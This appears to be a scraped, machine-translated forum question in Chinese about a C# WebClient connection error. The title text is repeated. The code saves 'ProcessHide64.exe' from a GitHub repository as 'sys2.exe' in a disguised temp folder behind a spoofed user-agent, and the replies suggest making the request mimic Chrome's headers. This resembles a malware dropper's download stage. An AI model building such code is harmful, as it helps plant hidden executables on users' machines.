C# WebClient Exception基础连接已关闭:发送|.NET 2.0时发生意外错误
我正在编写一个新项目,我正在制作一个网络客户端,将文件下载到磁盘上 我的代码是C# WebClient Exception基础连接已关闭:发送|.NET 2.0时发生意外错误,c#,.net,webclient,C#,.net,Webclient,我正在编写一个新项目,我正在制作一个网络客户端,将文件下载到磁盘上 我的代码是 string Temp = Path.GetTempPath(); Directory.CreateDirectory(Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12"); WebClient Client = new WebClient(); ServicePointManager.SecurityPr
string Temp = Path.GetTempPath();
Directory.CreateDirectory(Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12");
WebClient Client = new WebClient();
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
Client.Headers.Add("user-agent", "Mozilla");
Client.DownloadFile(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHide64.exe?raw=true"), Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\sys2.exe");
将您的URL放入chrome并验证URL是否正确。我能说的就是连接没有完成。不确定URL是否错误或设置是否错误。不,URL是否正常工作?我将尝试使用其他用户代理。您可以使用嗅探器来验证正在工作的Chrome使用了什么用户代理。看:有人帮忙吗!?您必须使用嗅探器找出Chrome头和c#应用程序之间的第一个请求的差异。使c#应用程序头看起来像Chrome头。